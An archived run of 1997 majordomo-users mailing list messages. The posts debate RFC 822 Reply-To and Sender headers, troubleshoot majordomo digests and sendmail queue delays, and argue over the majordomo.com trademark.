From owner-majordomo-users-outgoing Sun Jun 1 00:45:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id AAA29644 for majordomo-users-outgoing; Sun, 1 Jun 1997 00:42:31 -0700 (PDT) Received: from god.knotwork.com (god.knotwork.com [198.166.227.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id AAA29637 for ; Sun, 1 Jun 1997 00:42:25 -0700 (PDT) Received: from localhost (root@localhost) by god.knotwork.com (8.8.4/8.6.10) with SMTP id EAA06905 for ; Sun, 1 Jun 1997 04:46:01 -0300 Date: Sun, 1 Jun 1997 04:45:56 -0300 (ADT) From: Knotwork Admin To: majordomo-users@GreatCircle.COM Subject: Re: BOUNCE world-list@s1.net: Admin request of type /^\s*who\s*$/i at line 1 In-Reply-To: <3.0.32.19970530180138.0072ab8c@sparknet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, 30 May 1997, Dan Barrett wrote: > >As I NOW understand it, he wants all commands to be sent "to the list" and > >for those commands to be processed as if they were sent to majordomo. > > > >Assuming this is correct, it would appear to me that ANY AND ALL messages > >which have any majordomo commands in them and were sent to the list, would > >be processed by the list as if they were commands. The FEATURES file of the package "SmartList",which is associated with procmail and available at ftp://ftp.net.ohio-state.edu/pub/networking/mail/procmail or ftp://hub.psg.com/pub/unix/procmail or various other mirrors, makes the claim + Enough intelligence to overcome the ignorance of some subscribers (will direct subscribe and unsubscribe requests away from the regular list and automatically onto the -request address) + No hardwired format for (un)subscribe requests (i.e. new subscribers need not be educated, unsubscribing users do not need to remember any particular syntax) Have you evaluated SmartList for your boss's purposes? Perhaps thinking of using Majordomo is a case of to a person with a hammer everything looks like a nail; rather than be screwed maybe what you really need is a screwdriver. ;-) Blessed Be. -MarkM- -- We do remote Linux install, config, support and administration. Inquire. ........................................................................ "The saddest thing is they WANT to be ignorant, INSIST on it in fact." From owner-majordomo-users-outgoing Sun Jun 1 04:45:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id EAA13215 for majordomo-users-outgoing; Sun, 1 Jun 1997 04:44:39 -0700 (PDT) Received: from tor.abc.se (tor.abc.se [192.36.170.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id EAA13202 for ; Sun, 1 Jun 1997 04:44:31 -0700 (PDT) Received: from pm1-24.abc.se (pm1-24 [192.36.170.43]) by tor.abc.se (8.8.5/8.8.5) with SMTP id NAA20235 for ; Sun, 1 Jun 1997 13:47:45 +0200 (MET DST) Message-Id: <199706011147.NAA20235@tor.abc.se> From: "Mats Dufberg" To: "majordomo-users@GreatCircle.COM" Date: Sun, 01 Jun 97 13:16:01 +0200 Reply-To: "Mats Dufberg" X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Re: e-mail chars Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sat, 31 May 1997 12:24:19 -0500, Dan Barrett wrote: >Involving _all_ e-mail, what exactly is the standard for accepted >characters in an e-mail address? I've had MD do a couple funky >things from abnormal characters. According to RFC 822 *any* character in the range of decimal 0 to 127, including NULL and DEL are legal, though some characters have to be escape with backslash or within quotemarks to be used. Characters escaped with backslash may only be used within qutemarks. Mats Dufberg mats.dufberg@abc.se From owner-majordomo-users-outgoing Sun Jun 1 04:52:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id EAA13214 for majordomo-users-outgoing; Sun, 1 Jun 1997 04:44:37 -0700 (PDT) Received: from tor.abc.se (tor.abc.se [192.36.170.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id EAA13199 for ; Sun, 1 Jun 1997 04:44:29 -0700 (PDT) Received: from pm1-24.abc.se (pm1-24 [192.36.170.43]) by tor.abc.se (8.8.5/8.8.5) with SMTP id NAA20230 for ; Sun, 1 Jun 1997 13:47:42 +0200 (MET DST) Message-Id: <199706011147.NAA20230@tor.abc.se> From: "Mats Dufberg" To: "Majordomo Users" Date: Sun, 01 Jun 97 13:06:31 +0200 Reply-To: "Mats Dufberg" X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Re: Reply To Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sat, 31 May 1997 04:53:38 -0500 (CDT), Ray Jones wrote: >> "text message teleconferencing" groups equipped with automatic >> distribution services: include the address of that service in the >> "Reply-To" field of all messages submitted to the teleconference; >> then participants can "reply" to conference submissions to >> guarantee the correct distribution of any submission of their own. > >I don't see how else one could interpret it. > >Though I do use it in that manner, I'm not advocating it. I do it for my >own reasons and so far have had no trouble though some have indicated I >will or at least could have. The REPLY-TO header field is to be inserted by the message originator and not to be manipulated later. If you read further down in RFC 822 you'll find 4.4.3. REPLY-TO / RESENT-REPLY-TO [...] Note: [...] The "Reply-To" field is added by the message originator and is intended to direct replies. If you, on the other hand, let the original message be included in a message from the list then you can can set any appropriate REPLY-TO. But then you don't have message distribution to the list, but a new message created by the list program. In that case you should set FROM to the list. Mats Dufberg mats.dufberg@abc.se From owner-majordomo-users-outgoing Sun Jun 1 08:30:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA20164 for majordomo-users-outgoing; Sun, 1 Jun 1997 08:20:48 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA20157 for ; Sun, 1 Jun 1997 08:20:43 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id LAA16549 for ; Sun, 1 Jun 1997 11:24:00 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id LAA21799; Sun, 1 Jun 1997 11:23:59 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Reply To References: X-No-Archive: yes Date: 01 Jun 1997 11:23:59 -0400 In-Reply-To: Ray Jones's message of Sat, 31 May 1997 14:50:43 -0500 (CDT) Message-ID: Lines: 34 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "RJ" == Ray Jones writes: RJ> That was exactly my point. The original poster (seemed to me anyway) to RJ> be using the statement that "reply-to" COULD be of use to (I forget how RJ> it was worded, but I know it meant) mailing lists to argue that RFC822 RJ> forbade their use. I may have missed something (I often do - grin), but RJ> it seemed to me to be just the opposite. I stand by the interpretation that the intent of RFC822 in this regard is that the Reply-To pointing to the [mailing list] is set by the author of a message to that system. The definition of the header states that it is an originator header, which means that regardless of how it is used it is only set by the originator of a message. Mailing list managers are *NOT* the originators of their lists' traffic, therefore mailing list managers should not modify originator headers of that traffic. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5GT+p6VRH7BJMxHAQEY3wP/eAGMFzhFgcPBKyzqGjmaLEtlsvSAqPjp 0m+5Nt7pVLruNAoFUCOGd2/JcOb9uVqwCpZSMJ4/RJvZL8dAsAfo4k24hi6G+N+5 kka0aoYkJB1xLbDl4vbCQZjXJl2c5mwRy5lWQOpZQvPKKvpCVsIqbFdzTi9POdaL jiT3/m7umq4= =0u44 -----END PGP SIGNATURE----- -- Rich Pieri | When not in use, Happy Fun Ball Prescient Technologies, Inc. | should be returned to its special A Stone & Webster Company | container and kept under I speak for myself, not PTI or SWEC | refrigeration. From owner-majordomo-users-outgoing Sun Jun 1 08:45:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA20911 for majordomo-users-outgoing; Sun, 1 Jun 1997 08:38:24 -0700 (PDT) Received: from prs.hk.homegate.net ([202.66.88.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA20902 for ; Sun, 1 Jun 1997 08:38:16 -0700 (PDT) Received: (qmail 27236 invoked by uid 1011); 1 Jun 1997 15:48:44 -0000 Date: Sun, 1 Jun 1997 23:48:44 +0800 (HKT) From: Rino Lam X-Sender: rinolam@prs.hk.homegate.net To: majordomo-users@GreatCircle.COM Subject: Digest Problem - Help ! In-Reply-To: <3.0.1.32.19970526161815.0073b994@netcns.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello, I have setup the majordomo digest and come across a very serious problem. When I sent test messages to the digest, I can see the messages are stored in the digest directory (one new file per message). Also, the monthly archive is working well. However, when I try to generate a digest by using the command "echo mkdigest | mail majordomo@mydomain.com", I got the following error message : MAJORDOMO ABORT (mj_digest)!! No messages. Stopped --------------- So, the digest never gets out. Please help on this matter ! Thank you ! Regards, Rino From owner-majordomo-users-outgoing Sun Jun 1 09:30:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA22037 for majordomo-users-outgoing; Sun, 1 Jun 1997 09:16:49 -0700 (PDT) Received: from aura.title14.com (aura.title14.com [206.34.180.4]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA22030 for ; Sun, 1 Jun 1997 09:16:36 -0700 (PDT) Received: from localhost (lkiczuk@localhost) by aura.title14.com (8.8.5/8.6.9) with SMTP id MAA16202 for ; Sun, 1 Jun 1997 12:19:19 -0400 Date: Sun, 1 Jun 1997 12:19:14 -0400 (EDT) From: Lisa Kiczuk X-Sender: lkiczuk@aura To: Majordomo-users Mailing list Subject: problem: sendmail or majordomo? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk We are having a problem here with messages in the queue. I am using Majordomo 1.93 (for now.. I just downloaded 1.94.3) and sendmail. We haven't changed any configuration in quite some time, yet all of a sudden messages are getting stuck in the queue and sendmail isn't seeing them. There is an example below. The messages do eventually get sent, but there is a long delay and we have had people on the mailing list tell us that they are receiving messages out of order.. they get a reply before they get the original post. Any help is greatly appreciated! Here is the queue: majordom[/usr/local/mail/lists]> sendmail -bp Mail Queue (5 requests) --Q-ID-- --Size-- -----Q-Time----- ------------Sender/Recipient------------ LAA14655* 10 Sun Jun 1 11:09 lkiczuk "|/usr/local/majordomo/wrapper majordomo" LAA15233* 14 Sun Jun 1 11:35 lkiczuk "|/usr/local/majordomo/wrapper majordomo" LAA14690* 20 Sun Jun 1 11:13 lkiczuk "|/usr/local/majordomo/wrapper majordomo" LAA14709* 22 Sun Jun 1 11:14 lkiczuk "|/usr/local/majordomo/wrapper majordomo" LAA14986* 28 Sun Jun 1 11:25 lkiczuk "|/usr/local/majordomo/wrapper majordomo" majordom[/usr/local/mail/lists]> ============== Lisa.. lkiczuk@aura.title14.com From owner-majordomo-users-outgoing Sun Jun 1 09:36:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA22135 for majordomo-users-outgoing; Sun, 1 Jun 1997 09:22:33 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA22128 for ; Sun, 1 Jun 1997 09:22:28 -0700 (PDT) Received: from Venus.mcs.net (les@Venus.mcs.net [192.160.127.92]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id LAA10680; Sun, 1 Jun 1997 11:25:46 -0500 (CDT) Received: (from les@localhost) by Venus.mcs.net (8.8.5/8.8.2) id LAA03449; Sun, 1 Jun 1997 11:25:46 -0500 (CDT) From: Leslie Mikesell Message-Id: <199706011625.LAA03449@Venus.mcs.net> Subject: Re: Reply To To: rich.pieri@prescienttech.com (Rich Pieri) Date: Sun, 1 Jun 1997 11:25:46 -0500 (CDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: from "Rich Pieri" at Jun 1, 97 11:23:59 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > > RJ> That was exactly my point. The original poster (seemed to me anyway) to > RJ> be using the statement that "reply-to" COULD be of use to (I forget how > RJ> it was worded, but I know it meant) mailing lists to argue that RFC822 > RJ> forbade their use. I may have missed something (I often do - grin), but > RJ> it seemed to me to be just the opposite. > > I stand by the interpretation that the intent of RFC822 in this regard is > that the Reply-To pointing to the [mailing list] is set by the author of a > message to that system. The definition of the header states that it is an > originator header, which means that regardless of how it is used it is only > set by the originator of a message. Mailing list managers are *NOT* the > originators of their lists' traffic, therefore mailing list managers should > not modify originator headers of that traffic. There is a legimate difference of opinion as to whether mailing lists exist as an extension of the sender's mailer or as an agent for the list manager. Consider the case of a moderated list where the moderator makes editorial comments. Here the message is clearly not the original and no one could dispute the moderator's right to modify headers. Now, does a moderator of such a list have the right to omit his comments? Or does he have to moderate at all to consider the list his own? In practice, I prefer the lists that do set the Reply-to: back to the list since I rarely/never reply privately and think that the list benefits from making it easier to respond publically. However, people who are on more that a few lists probably get used to punching reply/all because that always works even though the extra CC: to the author annoys some people. Les Mikesell les@mcs.com From owner-majordomo-users-outgoing Sun Jun 1 10:00:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA23473 for majordomo-users-outgoing; Sun, 1 Jun 1997 09:48:01 -0700 (PDT) Received: from tao.agoron.com (ftp.agoron.com [206.181.233.66]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA23466 for ; Sun, 1 Jun 1997 09:47:54 -0700 (PDT) Received: from vincenta (marvin6.agoron.com [206.181.233.111]) by tao.agoron.com (8.7.4/8.6.9) with SMTP id MAA10477 for ; Sun, 1 Jun 1997 12:51:09 -0400 (EDT) Message-Id: <199706011651.MAA10477@tao.agoron.com> Comments: Authenticated sender is From: "Vincent Aniello" Organization: Agora Online -- http://www.agoron.com To: majordomo-users@greatcircle.com Date: Sun, 1 Jun 1997 12:51:08 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Script to trim bounces list Reply-to: vincent@tao.agoron.com X-mailer: Pegasus Mail for Win32 (v2.54 preview) Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Has anyone created, and would like to share, a script to trim the bounces list by removing email addresses after a specified number of days based on the date comment generated by the bounce script? If you have one and could post it to the list or email me with it I would appreciate it. Thanks. --Vincent From owner-majordomo-users-outgoing Sun Jun 1 10:04:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA23945 for majordomo-users-outgoing; Sun, 1 Jun 1997 09:58:09 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA23938 for ; Sun, 1 Jun 1997 09:58:04 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id NAA17844 for ; Sun, 1 Jun 1997 13:01:22 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id NAA24587; Sun, 1 Jun 1997 13:01:22 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: problem: sendmail or majordomo? References: X-No-Archive: yes Date: 01 Jun 1997 13:01:22 -0400 In-Reply-To: Lisa Kiczuk's message of Sun, 1 Jun 1997 12:19:14 -0400 (EDT) Message-ID: Lines: 24 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "LK" == Lisa Kiczuk writes: LK> We are having a problem here with messages in the queue. Sendmail. Majordomo has nothing to do with delivery of messages. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5Gq4J6VRH7BJMxHAQEb/QQAv0wgzNjgNwSTvDxHQOSlLU/SwytgkOx/ 1y4/HQnFuhGxg5w9hFfwWmWA6Mk4E34RcPGlC42d39jJXWvuIFVUpWNlyxltX3Yd tlLP1kjh7f7SdH4BY4iuN7O+V8n75V4Wie8WszYHMRU6F6KTlJX7JpXQyXXDTx9l bZTt/jj5xmc= =yuMx -----END PGP SIGNATURE----- -- Rich Pieri | If Happy Fun Ball begins to smoke, Prescient Technologies, Inc. | get away immediately. Seek shelter A Stone & Webster Company | and cover head. I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Sun Jun 1 10:09:53 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA23927 for majordomo-users-outgoing; Sun, 1 Jun 1997 09:57:37 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA23920 for ; Sun, 1 Jun 1997 09:57:31 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id NAA17834 for ; Sun, 1 Jun 1997 13:00:49 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id NAA24569; Sun, 1 Jun 1997 13:00:48 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Reply To References: <199706011625.LAA03449@Venus.mcs.net> X-No-Archive: yes Date: 01 Jun 1997 13:00:47 -0400 In-Reply-To: Leslie Mikesell's message of Sun, 1 Jun 1997 11:25:46 -0500 (CDT) Message-ID: Lines: 42 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "LM" == Leslie Mikesell writes: LM> There is a legimate difference of opinion as to whether mailing LM> lists exist as an extension of the sender's mailer or as an agent LM> for the list manager. According to RFC822, Sender headers are generated when an agent other than the originator is responsible for submitting the message to the network. When the sender and originator are the same then a Sender header ABSOLUTELY MUST NOT be generated -- Sender headers are only generated when the originator and sender are not the same entity. Majordomo generates Sender headers on mail that is submitted to mailing lists. Assuming that it is functioning correctly, Majordomo does so because it is acting as the submission agent, ultimately responsible for the final submission of the message to the network. Under these conditions, Majordomo cannot be both the originator and sender, and it clearly is not an originator because it is not composing messages -- Majordomo is not writing this particular message, that is for certain. That means that Majordomo cannot be anything but the submission agent. Take it for what it is worth, but the only "legitimacy" behind any other interpretation is an ignorant desire to break RFC822 because of people too lazy to learn how to properly use their MUAs. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5GqvZ6VRH7BJMxHAQFuwwP+Oj7gj+ltQwy/UFN8PAiXDPXTFP4mjI/Q gBaLUFjdRbx5mLnbgqc9En3LCgbrTyU0sUyasLt/AD7te61vBW3Ey4ytOZmAgX6q 6ZW6wSWm98IHSOCVheG5PlxzaH87t51YM+iEM7gYtQgh0XGVG7lhy9141VmLsvI4 7nEMqw8uQ9w= =G5h5 -----END PGP SIGNATURE----- -- Rich Pieri | Warning: pregnant women, the Prescient Technologies, Inc. | elderly, and children under 10 A Stone & Webster Company | should avoid prolonged exposure to I speak for myself, not PTI or SWEC | Happy Fun Ball. From owner-majordomo-users-outgoing Sun Jun 1 10:15:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA24417 for majordomo-users-outgoing; Sun, 1 Jun 1997 10:06:08 -0700 (PDT) Received: from cluster.newtoy.com (catmega.pr.mcs.net [205.253.103.20]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA24386 for ; Sun, 1 Jun 1997 10:05:59 -0700 (PDT) Received: (from catmega@localhost) by cluster.newtoy.com (8.7.6/8.7.3) id MAA07930 for majordomo-users@GreatCircle.com; Sun, 1 Jun 1997 12:02:19 -0500 (CDT) From: CatMega! Message-Id: <199706011702.MAA07930@cluster.newtoy.com> Subject: sample regexp for exclude all To: majordomo-users@GreatCircle.com Date: Sun, 1 Jun 1997 12:02:19 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I'm afraid that I'm in need of a sample of what the intended format of the noadvertise entry is. In trying to hide a list, I tried these: noadvertise << END /*/ END noadvertise << END /.*/ END noadvertise << END * END to no avail -- none either produced errors or hid the list from the 'lists' command. Thanks -- Cat From owner-majordomo-users-outgoing Sun Jun 1 10:30:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA26313 for majordomo-users-outgoing; Sun, 1 Jun 1997 10:26:54 -0700 (PDT) Received: from toons.undergrid.com (undergrid.cei.net [204.180.109.36]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA26303 for ; Sun, 1 Jun 1997 10:26:47 -0700 (PDT) Received: from localhost (undrgrid@localhost) by toons.undergrid.com (8.8.5/8.8.5) with SMTP id MAA02552; Sun, 1 Jun 1997 12:32:04 -0500 Date: Sun, 1 Jun 1997 12:32:03 -0500 (CDT) From: "Jeremy T. Bouse" To: CatMega! cc: majordomo-users@GreatCircle.COM Subject: Re: sample regexp for exclude all In-Reply-To: <199706011702.MAA07930@cluster.newtoy.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- I actually just use the following on my lists that I don't want advertised for one reason or another... Don't know if is it the correct way... but it works... noadvertise << END does_not_exist_to_you END Jeremy Bouse AKA Cyis @ UnderGrid IRC On Sun, 1 Jun 1997, CatMega! wrote: > I'm afraid that I'm in need of a sample of what the intended format of > the noadvertise entry is. In trying to hide a list, I tried these: > > noadvertise << END > /*/ > END > > noadvertise << END > /.*/ > END > > noadvertise << END > * > END > > > to no avail -- none either produced errors or hid the list from the > 'lists' command. > > Thanks -- > Cat > Jeremy T. Bouse - The UnderGrid IRC Network - www.UnderGrid.com PGP Fingerprint: 0F B9 7D 61 1B 7B A8 40 CE BD 02 91 61 59 BB 2C Thought to ponder : All a hacker needs is a tight PUSHJ, a loose pair of UUOs, and a warm place to shift. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM5GyE5EvxvP2RwlhAQF9NQP+IYvohPd3Px33bd0e0bJYflkpj7fLG8Fi /aCsOuCaWdiDOCzilKAHMCMO+kg2e1c/zPocIr6fA26wD4/asqqYrT8YIKfNYQjC HIhYv+lKw5znoBz+/eUBuCwhob9ifzJn2jknyPI1jaffRc5u06ECa+6UXenqkCux Umxz4p8ONuA= =kTcC -----END PGP SIGNATURE----- From owner-majordomo-users-outgoing Sun Jun 1 10:45:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA28139 for majordomo-users-outgoing; Sun, 1 Jun 1997 10:36:51 -0700 (PDT) Received: from sportsurf.net (sportsurf.net [192.41.36.58]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA28116 for ; Sun, 1 Jun 1997 10:36:44 -0700 (PDT) Received: from [192.204.56.156] (sss.pittsburgh.net [192.204.56.156]) by sportsurf.net (8.8.5) id LAA15580; Sun, 1 Jun 1997 11:39:59 -0600 (MDT) Message-Id: <199706011739.LAA15580@sportsurf.net> X-Authentication-Warning: sportsurf.net: Host sss.pittsburgh.net [192.204.56.156] claimed to be [192.204.56.156] Subject: Re: Script to trim bounces list Date: Sun, 1 Jun 97 13:48:45 -0000 x-sender: mark@sportsurf.net x-mailer: Claris Emailer 1.1 From: Mark Rauterkus To: cc: Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi Vincent, Less than 12 hours ago I posted a note to this list about Smartbounce. Smartbounce isn't free as far as unlimited use. However, list-owners of one list can use the "light-version" for free. Smartbounce isn't just a Mj product as it is a standalone package that can clean up your bounces from most of the list-management software. The author of the software is working hard to make smartbounce work on many different platforms. So, a list-owner with a desktop Mac or WIN box could utilize smartbounce to help manage the bounces even when running Mj from a remote Unix system. I'm going to be using Smartbouce on my Mj lists but my desktop computer is a Mac. Go to: http://192.41.36.58/PROVING/hi/bounce/ I'd like to know what you and others think. Vincent, how many lists are you running? Perhaps you can try Smartbounce on your largest list for a few weeks? Original question: >Has anyone created, and would like to share, a script to trim the >bounces list by removing email addresses after a specified number of >days based on the date comment generated by the bounce script? > >If you have one and could post it to the list or email me with it I >would appreciate it. -------------- Mark Rauterkus, Publisher, S.S.S. mrauterkus@sportsurf.net -------------- From owner-majordomo-users-outgoing Sun Jun 1 10:55:07 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA27655 for majordomo-users-outgoing; Sun, 1 Jun 1997 10:34:38 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA27533 for ; Sun, 1 Jun 1997 10:34:17 -0700 (PDT) Received: from Venus.mcs.net (les@Venus.mcs.net [192.160.127.92]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id MAA11926; Sun, 1 Jun 1997 12:37:35 -0500 (CDT) Received: (from les@localhost) by Venus.mcs.net (8.8.5/8.8.2) id MAA04576; Sun, 1 Jun 1997 12:37:35 -0500 (CDT) From: Leslie Mikesell Message-Id: <199706011737.MAA04576@Venus.mcs.net> Subject: Re: Reply To To: rich.pieri@prescienttech.com (Rich Pieri) Date: Sun, 1 Jun 1997 12:37:34 -0500 (CDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: from "Rich Pieri" at Jun 1, 97 01:00:47 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > According to RFC822, Sender headers are generated when an agent other than > the originator is responsible for submitting the message to the network. > When the sender and originator are the same then a Sender header ABSOLUTELY > MUST NOT be generated -- Sender headers are only generated when the > originator and sender are not the same entity. Majordomo generates Sender > headers on mail that is submitted to mailing lists. Assuming that it is > functioning correctly, Majordomo does so because it is acting as the > submission agent, ultimately responsible for the final submission of the > message to the network. > > Under these conditions, Majordomo cannot be both the originator and sender, > and it clearly is not an originator because it is not composing messages -- > Majordomo is not writing this particular message, that is for certain. > That means that Majordomo cannot be anything but the submission agent. The issue is whether it is submitting on behalf of the list or the author. I don't see how this can be dictated by anyone but the list manager. > Take it for what it is worth, but the only "legitimacy" behind any other > interpretation is an ignorant desire to break RFC822 because of people too > lazy to learn how to properly use their MUAs. On the contrary, majordomo exists entirely because people are too lazy to make their own MUA do the right thing, which would be to submit directly to the entire list of recipients in your opinion. Most MUA's are capable of doing this, but it isn't the way people want to work. I (and I suspect at least some others) want the 'normal' reply to a message from a list to go back to the list and I see nothing wrong with list managers setting things up to work the way they and their users want. If it takes insertion of text and a new message ID to 'prove' that the message is no longer the same one the originator submitted, then let's find a way to do it so everyone knows what is happening. Les Mikesell les@mcs.com From owner-majordomo-users-outgoing Sun Jun 1 11:15:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA01315 for majordomo-users-outgoing; Sun, 1 Jun 1997 11:06:14 -0700 (PDT) Received: from songbird.com (songbird.com [206.14.4.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA01293 for ; Sun, 1 Jun 1997 11:06:03 -0700 (PDT) Received: (from kent@localhost) by songbird.com (8.8.4/8.7.3) id LAA29128 for majordomo-users@GreatCircle.COM; Sun, 1 Jun 1997 11:06:49 -0700 Message-ID: <19970601110647.54247@bywater.songbird.com> Date: Sun, 1 Jun 1997 11:06:47 -0700 From: Kent Crispin To: majordomo-users@GreatCircle.COM Subject: Re: www.majordomo.com References: <3.0.32.19970531213043.00fcadb8@mail.idyllmtn.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.66 X-Disclaimer: Things are not as they seem X-PGP-Key: http://songbird.com/kent/pgp_key.html Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sat, May 31, 1997 at 09:32:29PM -0700, Kynn Bartlett wrote: > At 09:05 PM 5/31/97 -0700, Roger B.A. Klorese wrote: > >...As is "Windows", the trademark for Microsoft on which has been upheld > >in courts repeatedly. > > [...] > >There are big differences between *similar* names and *identical* ones > >from a legal perspective. > > Both good points. But, if Brent Chapman/Great Circle doesn't have > a trademark on majordomo -- as I'm told they don't -- does that make > both points moot? Most assuredly not. BC/GCA have a clear prior use claim, which, in my opinion, they should assert by first sending a "cease and desist" letter. If they don't, the ***** opportunists at majordomo.com will muddy the waters about majordomo forever, especially if, as they claim, they are producing a commercial product based on it, and eventually they may even claim the name. What the people at majordomo.com are doing is worse than unethical. It is theft. It doesn't cost that much to do a trademark -- a few hundred dollars and a couple days work. NOLO Press has the information, of course There was an interesting case recently where some scumbag actually trademarked "linux". Registering a trademark when you don't have rights to it is apparently a *criminal* offense, and the Patents & Trademarks Office will file charges. -- Kent Crispin "No reason to get excited", kent@songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From owner-majordomo-users-outgoing Sun Jun 